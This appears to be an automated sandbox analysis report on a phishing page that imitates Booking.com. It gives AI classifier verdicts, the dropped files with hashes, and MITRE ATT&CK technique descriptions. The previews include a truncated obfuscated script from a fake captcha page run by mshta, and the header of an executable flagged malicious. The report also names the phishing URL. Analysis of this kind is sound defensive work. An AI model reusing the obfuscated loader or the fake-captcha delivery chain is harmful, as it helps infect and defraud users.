URL: https://account.order129837129821.one/?op_token=EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uNpHcNZxKQpxRpsgVvrpvGPgRnLUDYSvaUdgYIgOtjXVTOLKpYiIiXtWnEdZzxcPuHxUiswmsJIlLgVWFNSgOkCfebTMYMuZRfpYMUHcpYqRHSIzZIsEkkOxFDlQKEjjymsUGgAoZrWELfFdljVngIVrpkGrGpSxHfNZUkiMnOZfkHNR Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "To continue, please verify you're not a robot", "prominent_button_name": "Verify", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://account.order129837129821.one/?op_token=EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uNpHcNZxKQpxRpsgVvrpvGPgRnLUDYSvaUdgYIgOtjXVTOLKpYiIiXtWnEdZzxcPuHxUiswmsJIlLgVWFNSgOkCfebTMYMuZRfpYMUHcpYqRHSIzZIsEkkOxFDlQKEjjymsUGgAoZrWELfFdljVngIVrpkGrGpSxHfNZUkiMnOZfkHNR Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Sign in to your account", "prominent_button_name": "Sign in", "text_input_field_labels": [ "Email address", "Password" ], "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://account.order129837129821.one/?op_token=EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uNpHcNZxKQpxRpsgVvrpvGPgRnLUDYSvaUdgYIgOtjXVTOLKpYiIiXtWnEdZzxcPuHxUiswmsJIlLgVWFNSgOkCfebTMYMuZRfpYMUHcpYqRHSIzZIsEkkOxFDlQKEjjymsUGgAoZrWELfFdljVngIVrpkGrGpSxHfNZUkiMnOZfkHNR Model: Joe Sandbox AI	{ "brands": [ "Booking.com" ] }
	{ "brands": [ "Booking.com" ] }
URL: https://account.order129837129821.one/?op_token=EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uNpHcNZxKQpxRpsgVvrpvGPgRnLUDYSvaUdgYIgOtjXVTOLKpYiIiXtWnEdZzxcPuHxUiswmsJIlLgVWFNSgOkCfebTMYMuZRfpYMUHcpYqRHSIzZIsEkkOxFDlQKEjjymsUGgAoZrWELfFdljVngIVrpkGrGpSxHfNZUkiMnOZfkHNR Model: Joe Sandbox AI	{ "brands": [ "Booking.com" ] }
	{ "brands": [ "Booking.com" ] }
URL: https://account.order129837129821.one/?op_token=EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uNpHcNZxKQpxRpsgVvrpvGPgRnLUDYSvaUdgYIgOtjXVTOLKpYiIiXtWnEdZzxcPuHxUiswmsJIlLgVWFNSgOkCfebTMYMuZRfpYMUHcpYqRHSIzZIsEkkOxFDlQKEjjymsUGgAoZrWELfFdljVngIVrpkGrGpSxHfNZUkiMnOZfkHNR Model: Joe Sandbox AI	```json{ "legit_domain": "booking.com", "classification": "wellknown", "reasons": [ "The brand 'Booking.com' is a well-known online travel agency.", "The legitimate domain for Booking.com is 'booking.com'.", "The provided URL 'account.order129837129821.one' does not match the legitimate domain.", "The URL contains unusual elements such as 'order129837129821' and uses a '.one' domain extension, which is not associated with Booking.com.", "The presence of 'account' in the subdomain could be an attempt to mimic a login or account management page, which is a common phishing tactic." ], "riskscore": 9} Google indexed: False
URL: account.order129837129821.one Brands: Booking.com Input Fields: unknown
URL: https://account.order129837129821.one/?op_token=EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uNpHcNZxKQpxRpsgVvrpvGPgRnLUDYSvaUdgYIgOtjXVTOLKpYiIiXtWnEdZzxcPuHxUiswmsJIlLgVWFNSgOkCfebTMYMuZRfpYMUHcpYqRHSIzZIsEkkOxFDlQKEjjymsUGgAoZrWELfFdljVngIVrpkGrGpSxHfNZUkiMnOZfkHNR Model: Joe Sandbox AI	```json{ "legit_domain": "booking.com", "classification": "wellknown", "reasons": [ "The brand 'Booking.com' is a well-known online travel agency.", "The legitimate domain for Booking.com is 'booking.com'.", "The provided URL 'account.order129837129821.one' does not match the legitimate domain.", "The URL contains a random string 'order129837129821' which is suspicious and not associated with Booking.com.", "The domain extension '.one' is unusual for Booking.com, which typically uses '.com'.", "The presence of input fields for 'Email address' and 'Password' on a non-legitimate domain is a common phishing tactic." ], "riskscore": 9} Google indexed: False
URL: account.order129837129821.one Brands: Booking.com Input Fields: Email address, Password

Created / dropped Files

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\downloaded.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:41 2023, mtime=Wed Feb 7 13:56:56 2024, atime=Wed Sep 27 04:28:27 2023, length=3242272, window=hide
Category:	dropped
Size (bytes):	2489
Entropy (8bit):	3.644824735712954
Encrypted:	false
SSDEEP:
MD5:	DAC96114179BD0A147FD5AA31AC20D55
SHA1:	9ADEBF62C102AB078CFC08297A17C93629E2BBF4
SHA-256:	9F971BD472AC03345C7E096BB4B66341FF6DEAB104D286FE5EE594C4F07E4271
SHA-512:	E76B1908898F8ED5FE4DEAF0E19E3F421F688E9EF1142BBA6D364F3D8EA8FF0B37DD721F4D13EA4B301CB56CA9B559DBE4A0DEF80982930904999508EFF7DEC5
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ......,.....3...Y.....q.... y1.....................#....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.IGX!w....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VFW.H....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VFW.H....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VFW.E..........................."&.A.p.p.l.i.c.a.t.i.o.n.....`.2. y1.;W.+ .chrome.exe..F......CW.VGX.w..........................,.6.c.h.r.o.m.e...e.x.e.......d...............-.......c............F.......C:\Program Files\Google\Chrome\Application\chrome.exe....A.c.c.e.s.s. .t.h.e. .I.n.t.e.r.n.e.t.A.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n...-.-.l.o.a.d.-.e

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\AN5UOLP8\captcha[1].htm

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	data
Category:	dropped
Size (bytes):	10663
Entropy (8bit):	6.120615852058954
Encrypted:	false
SSDEEP:
MD5:	7E486178B173CF383A5872103AAED304
SHA1:	2F7D3A2E0ADD2FFB110720B9E172E2EEB1A7FAFA
SHA-256:	361B65CEDAF5B340B8F7F5B85BE5EE6F2C644C76372B6E7B03443CB77F4D923B
SHA-512:	705A90DB8104A0226F505451B62C4191DC39DBB4D9F7B9907E4DBE7A4D9E8784D438F652BB46616A014C504B3780FA845CA4C9C0E1763AA6898846EE54C2AEC5
Malicious:	false
Reputation:	unknown
Preview:	<html><head><meta http-equiv='x-ua-compatible' content='EmulateIE9'><title>Booking.com</title><META NAME='GENERATOR' Content='The source code of this page is encrypted with HTML Guardian, the world's standart for website protection. Visit http://www.protware.com for details'><meta http-equiv='expires' content=''><script>l1l=document.documentMode\|\|document.all;var b5d79f76=true;ll1=document.layers;lll=window.sidebar;b5d79f76=(!(l1l&&ll1)&&!(!l1l&&!ll1&&!lll));l_ll=location+'';l11=navigator.userAgent.toLowerCase();function lI1(l1I){return l11.indexOf(l1I)>0?true:false};lII=lI1('kht')\|lI1('per');b5d79f76\|=lII;zLP=location.protocol+'0FD';n6xv12YESk=new Array();h5CI5pKNf2=new Array();h5CI5pKNf2[0]='\143Hq%33\164\157%32%36%30\170%31%33\150%34%36';n6xv12YESk[0]='.<.h.t.m.l.>.\r.\n~za.e.a.d.>.<.s.c.r.i.p.t.>.e.v.a.l.(.u.n.e~..a.p.e.(.\'.v.\\.1.4.1~$.6.2.%.2.0~(~\'.1.7.1.%.3.7~3.D~+~5.2~5.3.B~..y~3.8~6~$.2.3.t.%.7.2.i.n.%.6~9.E.f~G~.6.F.m.%.4.3.h~$~&~(~~W.o.d.e~+~A.3~2.3.3~+.C~3~e.0~+.9~3.B.

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	16268
Entropy (8bit):	5.48452440555951
Encrypted:	false
SSDEEP:
MD5:	BE81B6535945515539A28B1E57FF6615
SHA1:	01FA7A6A4FD302CFF3675CFCEE48CC74C1A1DFF7
SHA-256:	A46AE3E9280D842FC482CDFCB3C06479A62771514B275C871D76CA0219656F76
SHA-512:	9333DCE8673E17CCC049290BB7D02B2E0137C6521F7CE5B6204004ADC28E83CD9ECF58905754F68470071F14C8D701C1575B137711BCBB8F5485BB10EACA4DD0
Malicious:	false
Reputation:	unknown
Preview:	@...e................................................@..........H...............o..b~.D.poM...C..... .Microsoft.PowerShell.ConsoleHostD...............4..7..D.#V.............System.Management.Automation0.................Vn.F..kLsw..........System..4...............<."..Ke@...j..........System.Core.L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.@................z.U..G...5.f.1........System.DirectoryServices<................t.,.lG....M...........System.Management...4...............&.QiA0aN.:... .G........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.P................1]...E...........(.Microsoft.PowerShell.Commands.ManagementD....................+.H..!...e........System.Configuration.Ins

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bwsvl2i0.fs2.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\downloaded.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1996800
Entropy (8bit):	6.262750977116576
Encrypted:	false
SSDEEP:
MD5:	3AAD566F1E5EADD40727569F1C2A358D
SHA1:	92A0AC5183AED376BE617EBF65550FE35A4D62B4
SHA-256:	A63C622F3F447CC477B13E89E62C58F6A31B1D3FD9913CAB7F84A56E622A16C1
SHA-512:	B269EDCE13980B1EB67AE2C5377BA3931A25C3336E8E57B52C74B85499C96F7D0CD7A76259B2846942EEC3BAF0D364987A4F056AB21EA9D5D9C01E06ED5992A4
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........#d..B...B...B...:...B...:..TB.......B.......B.......B...:...B.......B...:...B...B...C......MB.......B.......B..Rich.B..................PE..d...kmLg.........."....*.n...x.......m.........@..........................................`..................................................{...............p..................4...@...........................(.......@...............p............................text....m.......n.................. ..`.rdata...............r..............@..@.data............R..................@....pdata.......p......................@..@.reloc..4............Z..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\downloaded.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:41 2023, mtime=Tue Oct 3 09:48:42 2023, atime=Wed Sep 27 04:28:27 2023, length=3242272, window=hide
Category:	dropped
Size (bytes):	2603
Entropy (8bit):	3.646100391282571
Encrypted:	false
SSDEEP:
MD5:	024E0D25157FC00DAF06E69D19EE3A6E
SHA1:	D0325978C4940403D1007B2CC37FE5802A807609
SHA-256:	AEB8332E15453272D419311647BA48D5E11AB649521D1CB8768AB1707D6985DB
SHA-512:	375524B7BD9270B602839B6BABA57C46D9817989B265E5E6CE13C6DF09091350FA3FF774A1F24F8F4DFFCB3C02DF5DDFD05B3936785371743D9F835E3C760BC5
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ......,.....=.,.......q.... y1.....................#....P.O. .:i.....+00.../C:\.....................1.....CW.V..PROGRA~1..t......O.ICW.V....B...............J.....p+j.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VCW.V....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VCW.V....M.....................G-..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VCW.V..........................."&.A.p.p.l.i.c.a.t.i.o.n.....`.2. y1.;W.+ .chrome.exe..F......CW.VCW.V..........................,.6.c.h.r.o.m.e...e.x.e.......d...............-.......c............F.......C:\Program Files\Google\Chrome\Application\chrome.exe....A.c.c.e.s.s. .t.h.e. .I.n.t.e.r.n.e.t.M.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Dec 2 06:53:25 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.98946486113944
Encrypted:	false
SSDEEP:
MD5:	AD73F2EA2FC6EA21CE06AEEA4E49B5CE
SHA1:	887271CA89AFCFB7BC1E01C59AF717F320912901
SHA-256:	2FF53658264598FB4363EB42D767588B138CB0AF43221B943AD8AB1B6F7B3501
SHA-512:	F11E6C60EBD5B85203E6F46E7B235124D2F28E4FA040807C7444D4D05760D5667D7BAC81C6576573DD2E455D5122EAD0D57AAF9C8E24FD4E2E4A16E4C0208F81
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.......D.D..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Y.>....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.>....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.>....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.>..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.>...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Dec 2 06:53:25 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	4.00499861289025
Encrypted:	false
SSDEEP:
MD5:	E7297D5F90C026C3D79AECC791FB457D
SHA1:	B957023EB2258C414B3C2945DFFB91BEA1E25A2A
SHA-256:	145F8537620EB7E39FADE1120B6DCCFB136C10716367E17293A2290E541AD69E
SHA-512:	631FAE04C38EB7BC181180D07EF9F3FFD658AC3CE7CD76BFB0CF8BE9CB22F56D7F7154443CF5832851B711F4F5075BEA2574FCE8A94152CA5A14C0193D0FB961
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,....1.D.D..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Y.>....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.>....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.>....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.>..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.>...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:05:01 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	4.014428209571006
Encrypted:	false
SSDEEP:
MD5:	C485E2BF74B6FAF95B52E143B1D6EF00
SHA1:	7EB8AC7AC4EB90E82343DD3BBA35AF522EC3358C
SHA-256:	F9C378258D428B80D802BE1725971E8F627F28CA47D664975946D8F65CDADFBB
SHA-512:	06A15534C0574C57FB78B4623BB2F378C08916609F868E7DDECF53720A73E8EB324992B3BB802980F6423A998501A1ED2B8126F22BF7A44491A030DD2FE5B270
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....Y.04...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Y.>....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.>....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.>....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.>..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFW.E...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Dec 2 06:53:25 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	4.005350831551929
Encrypted:	false
SSDEEP:
MD5:	67EB4F5BF6E21F3A926684E923A08A76
SHA1:	6C92A15CE8180F5428ABB189FC1101BCA036E3A9
SHA-256:	3534BD5C0627F209E43F7BFCC6D08BA51727DB816F3E661B6001FA152A6ED026
SHA-512:	314C8866AF85FA0EDDCABDF1CFBB26D24ACCC9307FE228F47671613DB5DA202CC2239A74B09636C6792A7B81DBE1FABE9F89D592E88334E20A52B7E5C3302FB3
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.......D.D..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Y.>....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.>....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.>....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.>..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.>...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Dec 2 06:53:25 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.992853071689387
Encrypted:	false
SSDEEP:
MD5:	534B6D5D0EE22AEFB1BE1DE1BC4F953E
SHA1:	590BA055C352FE472DEF0EEAF70394B8D47729E9
SHA-256:	E376914F43B037CB22C278C512210C53C85C7DAB39A87C30ED75CBECF2A157C9
SHA-512:	13759E0ED8F7C1EF6048CF51A73F1CC217A9F5AC8EADD0BC02DE15F1F61A37E539DE850508E65049ED5F1C9955BDFF27C0C16A284B35CB5AC4DAA7A7A54C5C74
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....F.D.D..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Y.>....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.>....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.>....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.>..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.>...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Dec 2 06:53:25 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	4.002568817926521
Encrypted:	false
SSDEEP:
MD5:	5A2310A15A62660C35DAA7D0485E7965
SHA1:	E561EE862DE76D6E5C6F889FCA9760761820F1E8
SHA-256:	BE264E9ABBF505E36F575691C86F6E225962AAD4689B332ABC3D699285A06E56
SHA-512:	67BEFB6CE13B963D70FC6FAA47C5057B9A71B5CAE4373B000AFF08FF4B1A3BECA519219B9A9F2C328D23D97698DFC311C27107CAD7A4833779AFD3AD40BDE9B2
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.......D.D..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Y.>....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.>....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.>....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.>..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.>...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i....................C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Static File Info

⊘No static file info

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

